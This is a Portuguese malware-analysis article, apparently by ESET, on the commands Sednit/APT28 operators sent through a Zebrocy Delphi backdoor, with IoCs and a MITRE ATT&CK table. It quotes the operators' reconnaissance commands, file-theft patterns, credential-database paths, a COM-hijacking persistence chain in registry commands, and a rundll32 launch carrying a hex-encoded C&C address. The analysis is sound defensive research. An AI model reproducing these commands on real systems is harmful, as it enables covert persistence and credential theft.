O que acontece quando uma vítima é comprometida por um backdoor? É uma questão difícil que não é possível responder, de forma completa, simplesmente aplicando engenharia reversa ao código. Neste artigo, vamos analisar alguns comandos enviados pelos operadores para os alvos de ataque.

O grupo Sednit - também conhecido como APT28, Fancy Bear, Sofacy ou STRONTIUM - está ativo desde pelo menos 2014 e tem ganhado destaque nos últimos anos.

Recentemente, revelamos a existência de um rootkit do UEFI, chamado LoJax, que atribuímos ao grupo Sednit. Este é o primeiro associado a um grupo de APT, e demonstra que o Sednit teve acesso a ferramentas sofisticadas para realizar operações de espionagem.

Três anos antes, o grupo Sednit lançou novos componentes direcionados a vítimas em vários países do Oriente Médio e da Ásia Central. A partir daí, o número e a diversidade de componentes aumentaram drasticamente. Os pesquisadores da ESET, assim como outros profissionais de outras empresas, documentaram esses componentes. No entanto, neste artigo, vamos nos enfocar no que está por trás do comprometimento, ou seja, o que os operadores fazem quando o sistema da vítima está executando o backdoor.

A isca do urso

No final de agosto de 2018, o grupo Sednit lançou uma campanha de spear phishing (e-mail direcionados), na qual distribuía URLs encurtadas que liberavam a primeira fase dos componentes do Zebrocy. No passado, Sednit usava uma técnica semelhante para campanhas de phishing. No entanto, é incomum que o grupo use essa técnica para entregar diretamente um dos componentes do malware. Anteriormente, o grupo usava exploits para entregar e executar o malware da primeira fase, enquanto nessa campanha o grupo dependia inteiramente do uso de técnicas de engenharia social para enganar suas vítimas com o propósito de que executassem a primeira parte da cadeia. A captura de tela na Figura 1 mostra estatísticas do Bitly para a URL encurtada usada nessa campanha.

Figura 1. Estatísticas da URL do Bitly.

Esse link registrou cerca de 20 cliques na mesma semana em que a URL foi criada, e isso supostamente fez o download do arquivo de destino. Tenha em mente que isso pode significar menos de 20 vítimas, já que as vítimas podem ter clicado na URL duas vezes, ou até mais, pois o resultado não era o que eles esperavam... tal como descreveremos abaixo.

Embora os dados de telemetria da ESET indiquem que essa URL foi distribuída por meio de e-mails de spear phishing, não temos uma amostra desses e-mails. A URL encurtada direciona a vítima para uma URL com base em um IP no qual está o payload armazenado.

Infelizmente, sem a mensagem do e-mail, não sabemos se há alguma instrução para o usuário, se existe alguma outra engenharia social, ou se é baseada somente na curiosidade da vítima. O arquivo contém dois arquivos: o primeiro é um executável, enquanto o segundo é um documento PDF usado como uma isca.

Figura 2. Arquivos extraídos do arquivo (o tradutor do Google sugere "CATÁLOGO - (2018) .exe" e "Pedido 97.pdf" em ucraniano).

Observe que há um erro de digitação no nome do arquivo executável, já que deveria ser "ДОВIДНИК" em vez de "ДОВIДНIК". Uma vez que o binário é executado, uma caixa de diálogo é aberta pedindo para digitar uma senha. O resultado da validação da senha sempre será errado, mas após a tentativa de validação aparente, o documento PDF usado como uma isca é aberto. Este documento parece estar vazio, mas o downloader, que está escrito em Delphi, continua rodando em segundo plano. O endereço IP também é usado na URL do código no primeiro downloader binário.

O covil do urso

O downloader de Fase-1 irá baixar e executar um novo downloader, escrito em C ++, não muito diferente de outros downloaders do Zebrocy. Novamente, este downloader é tão simples quanto os outros downloaders do Zebrocy. Cria um ID e baixa um novo e interessante backdoor (desta vez) escrito em Delphi.

Como explicamos em nosso artigo mais recente sobre o Zebrocy, a configuração do backdoor é armazenada na seção de recursos e é dividida em quatro blobs criptografados com código hexadecimal. Esses blobs contêm as diferentes partes da configuração.

Figura 3. Resumo da seção de recursos.

Uma vez que o backdoor envia informações básicas sobre o novo sistema comprometido, os operadores assumem o controle do backdoor e imediatamente começam a enviar comandos para ele.

Portanto, o tempo que decorre entre o momento em que a vítima executa o downloader e os operadores enviam os primeiros comandos é de apenas alguns minutos.

Como o urso caça

Nesta seção, descrevemos com mais detalhes os comandos que os operadores executam manualmente através do backdoor Delphi.

Os comandos disponíveis estão localizados na configuração de um dos blobs acima mencionados (o blob "comando" na Figura 3). O número de comandos suportados aumentou com o tempo, com mais de 30 na última versão do backdoor. Como não identificamos um padrão na ordem em que os comandos são invocados, acreditamos que os operadores os executam manualmente.

O primeiro conjunto de comandos coleta informações sobre o computador e o ambiente da vítima:

Commands Arguments
SCREENSHOT None
SYS_INFO None
GET_NETWORK None
SCAN_ALL None

Os comandos acima são comumente executados assim que os operadores se conectam a um novo backdoor ativado. Eles não apresentam nenhum argumento e são fáceis de entender. Outros comandos que foram comumente vistos e que são executados logo após a ativação desses backdoors, estão listados abaixo:

Commands Arguments
REG_GET_KEYS_VALUES HKEY_CURRENT_USER
Software\Microsoft\Windows\CurrentVersion
DOWNLOAD_DAY(30) c:\*.doc;*.docx;*.xls;*.xlsx;*.ppt;*.pptx;*.rtf;*.tif;*.tiff;*.jpg;*.jpeg;
*.bmp;*.rar;*.zip;*.pdf;*.KUM;*.kum;*.tlg;*.TLG;*.sbx;*.crf;*.hse;*.hsf;*.lhz;

d:\*.doc;*.docx;*.xls;*.xlsx;*.ppt;*.pptx;*.rtf;*.tif;*.tiff;*.jpg;*.jpeg;
*.bmp;*.rar;*.zip;*.pdf;*.KUM;*.kum;*.tlg;*.TLG;*.sbx;*.crf;*.hse;*.hsf;*.lhz;

DOWNLOAD_DAY(1)
c:\*.doc;*.docx;*.xls;*.xlsx;*.ppt;*.pptx;*.rtf;*.tif;*.tiff;*.jpg*.jpeg
*.bmp*.rar;*.zip;*.pdf;*.KUM;*.kum;*.tlg;*.TLG;*.sbx;*.crf;*.hse;*.hsf;

d:\*.doc;*.docx;*.xls;*.xlsx;*.ppt;*.pptx;*.rtf;*.tif;*.tiff;*.jpg*.jpeg
*.bmp*.rar;*.zip;*.pdf;*.KUM;*.kum;*.tlg;*.TLG;*.sbx;*.crf;*.hse;*.hsf;

CMD_EXECUTE echo %APPDATA%
ipconfig /all
netstat -aon
CMD_EXECUTE wmic process get Caption,ExecutablePath
reg query
"HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /s

Aqueles que já leram nossos artigos anteriores sobre o Zebrocy notarão que, mais ou menos, o mesmo tipo de informação é enviada repetidas vezes nos estágios anteriores. Esta informação é solicitada dentro de alguns minutos após o comprometimento inicial e a quantidade de dados que o operador terá que lidar é suficiente.

A fim de coletar ainda mais informações, a cada determinado período de tempo, os operadores do Zebrocy fazem o upload e usam dumpers nos computadores das vítimas. Os dumpers atuais têm certas semelhanças com aqueles que foram usados ​​anteriormente pelo grupo. Nesse caso, apontam para navegadores como Yandex, Chromium, 7Star Browser (um navegador baseado no Chromium) e CentBrowser, bem como versões anteriores do Microsoft Outlook de 1997 a 2016.

Command Arguments
UPLOAD_AND_EXECUTE_FILE C:\ProgramData\Office\MS\msoffice.exe
[…]
4D5A9000…

Esses dumpers criam arquivos de log que indicam a presença ou ausência de possíveis bancos de dados para dumpear.

Command Arguments
DOWNLOAD_LIST C:\ProgramData\Office\MS\out.txt
C:\ProgramData\Office\MS\text.txt

Os dumpers a seguir contêm as seguintes rotas quando não há bancos de dados para dumpear.

%LOCALAPPDATA%\Yandex\YandexBrowser\User Data\Default\Login Data not found
%LOCALAPPDATA%\Chromium\User Data\Default\Login Data not found
%LOCALAPPDATA%\7Star\7Star\User Data\Default\Login Data not found
%LOCALAPPDATA%\CentBrowser\User Data\Default\Login Data not found

Esses dumpers são rapidamente removidos depois de terem feito o seu trabalho. Além disso, o backdoor contém uma lista de nomes de arquivos relacionados às credenciais do software mostrado abaixo (nomes de bancos de dados):

key3.db Firefox private keys (now named key4.db)
cert8.db Firefox certificate database
logins.json Firefox encrypted password database
account.cfn The Bat! (email client) account credentials
wand.dat Opera password database

Os operadores se preocupam em recuperar esses bancos de dados se estiverem presentes nos computadores das vítimas.

Command Arguments

DOWNLOAD_LIST
%APPDATA%\The Bat!\Account.CFN
%APPDATA%\The Bat!\[REDACTED]\Account.CFN

Os operadores recuperam esses arquivos na máquina usando o comando DOWNLOAD_LIST. Este comando pode ser usado quando os operadores estão cientes da presença de arquivos interessantes no computador.

Finalmente, dependendo de quão interessante é a vítima, os operadores de malware podem implantar outro backdoor personalizado. Este backdoor é executado usando o comando CMD_EXECUTE.

Command Arguments
CMD_EXECUTE
reg add "HKCU\Software\Classes\CLSID\{0CD069CF-AC9B-41F4-9571-3A95A62C36A1}" /ve /d "Reliability Maintenance Control Panel" /reg:64 /f&&reg add "HKCU\Software\Classes\CLSID\{0CD069CF-AC9B-41F4-9571-3A95A62C36A1}\InProcServer32" /ve /d "%APPDATA%\Microsoft\WinSupport\RMC\mtrcpl.dll" /reg:64 /f&&reg add "HKCU\Software\Classes\CLSID\{0CD069CF-AC9B-41F4-9571-3A95A62C36A1}\InProcServer32" /v "ThreadingModel" /t REG_SZ /d "Both" /reg:64 /f
rundll32.exe "%APPDATA%\Microsoft\WinSupport\RMC\mtrcpl.dll",#1 687474703A2F2F[REDACTED]
dir /s /b /o:gn %APPDATA%\Microsoft\

Existem alguns fatos interessantes aqui. Primeiro, eles usam o sequestro de objetos COM para fazer o malware persistir no sistema, mesmo que o backdoor personalizado seja instalado por apenas algumas horas. Em segundo lugar, a string codificada em hex é o C&C usado pelo backdoor personalizado, enquanto que no backdoor no Delphi o C&C é embutido na configuração.

Os dois backdoors no Delphi são bastante semelhantes, mas eles contêm essas configurações interessantes:

Delphi backdoor Downloaded Delphi backdoor
Delphi compiler version 14.0-15.0 32.0
32/64-bit 32-bit 64-bit
Configuration location resource section no config (C&C is passed as an argument)
Number of commands 5 3
Encryption algorithm AES ECB custom
Lifetime on the computer a few days a few hours

Mais uma vez, não está muito claro qual é o propósito deste backdoor personalizado. A taxa de detecção é definitivamente baixa em comparação com o backdoor "usual". O curto período de tempo em que esse backdoor está dentro do sistema de forma operacional torna difícil a recuperação. Quando seus operadores concluem suas ações maliciosas, eles rapidamente o eliminam.

Resumo

Observe os comandos usados ​​ativamente pelos operadores deste backdoor é bastante interessante. Eles estão coletando uma quantidade considerável de informações do alvo comprometido e não parecem se preocupar com a duplicação de dados. Isso mostra uma grande lacuna entre a estratégia de desenvolvimento e o que os operadores fazem na prática. Esses backdoors com configurações personalizadas e módulos são implantados com muito cuidado, o que indica certas precauções para evitar cair nas mãos dos pesquisadores.

O primeiro conjunto de comandos é o mesmo e é executado por um período de tempo muito curto, o que gera outra pergunta: é automatizado?

Indicadores de Comprometimento (IoCs)

Distribution URL
http://45.124.132[.]127/DOVIDNIK - (2018).zip

C&C server
http://45.124.132[.]127/action-center/centerforserviceandaction/service-and-action.php

SHA-1 ESET detection names
48f8b152b86bed027b9152725505fbf4a24a39fd Win32/TrojanDownloader.Sednit.CMT
1e9f40ef81176190e1ed9a0659473b2226c53f57 Win32/HackTool.PSWDump.D
bfa26857575c49abb129aac87207f03f2b062e07 Win32/PSW.Agent.OGE

Técnicas do MITRE ATT&CK

Tactic ID Name Description
Initial Access T1192 Spearphishing Link Spearphishing emails using a URL-shortener service to trick the victim into clicking on a link to a zip file containing malicious files.
Execution T1204 User Execution Tricks users into running an executable with an icon that looks like a Microsoft Word document.
T1085 Rundll32 rundll32.exe has been used to run a new, downloaded, malicious DLL.
T1047 Windows Management Instrumentation WMI commands to gather victim host details.
T1053 Scheduled Task Schedule task to execute malicious binaries.
Persistence T1060 Registry Run Keys / Startup Folder Registry key HKCU\Software\Microsoft\CurrentVersion\Run\ used for persistence.
T1122 Component Object Model Hijacking COM hijacking for persistence.
Defense Evasion T1107 File Deletion Deletes files (binaries and files created) after usage.
T1089 Disabling Security Tools Kills processes
Discovery T1012 Query Registry Registry keys enumeration
T1057 Process Discovery Lists running processes
T1082 System Information Discovery Uses systeminfo command to gather information about the victim.
T1083 File and Directory Discovery Uses echo ENV command to list the content of a directory.
Collection T1005 Data from Local System Scans files that match extensions listed in the malware.
T1039 Data from Network Shared Drive Enumerates remote and local drives and then exfiltrates files matching specific extensions.
T1025 Data from Removable Media Enumerates remote and local drives and then exfiltrates files matching specific extensions.
T1074 Data Staged Creates file containing path of all files to exfiltrate.
T1056 Input Capture Keylogger feature.
T1113 Screen Capture Screenshot feature.
Exfiltration T1020 Automated Exfiltration Automatically prepare a file with all file paths to retrieve and send it.
T1022 Data Encrypted Data sent are hex-encoded, encrypted with a known algorithm or a custom one.
T1041 Exfiltration Over Command and Control Channel Data are exfiltrated to a C&C server.
Command And Control T1043 Commonly Used Port Downloaders and backdoors use ports 80 or 443 to communicate with the C&C server.
T1024 Custom Cryptographic Protocol Data sent are hex encoded, encrypted with AES or a custom algorithm.
T1132 Data Encoding Data sent are hex-encoded, encrypted with a known algorithm or a custom one.
T1001 Data Obfuscation Data sent are hex-encoded, encrypted with a known algorithm or a custom one.
T1008 Fallback Channels A fallback C&C server is embedded in the configuration.
T1079 Multilayer Encryption Data sent are hex-encoded, encrypted with a known algorithm or a custom one.
T1071 Standard Application Layer Protocol HTTP, HTTPS are used to communicate.
T1032 Standard Cryptographic Protocol Data sent are hex-encoded, encrypted with a known algorithm or a custom one.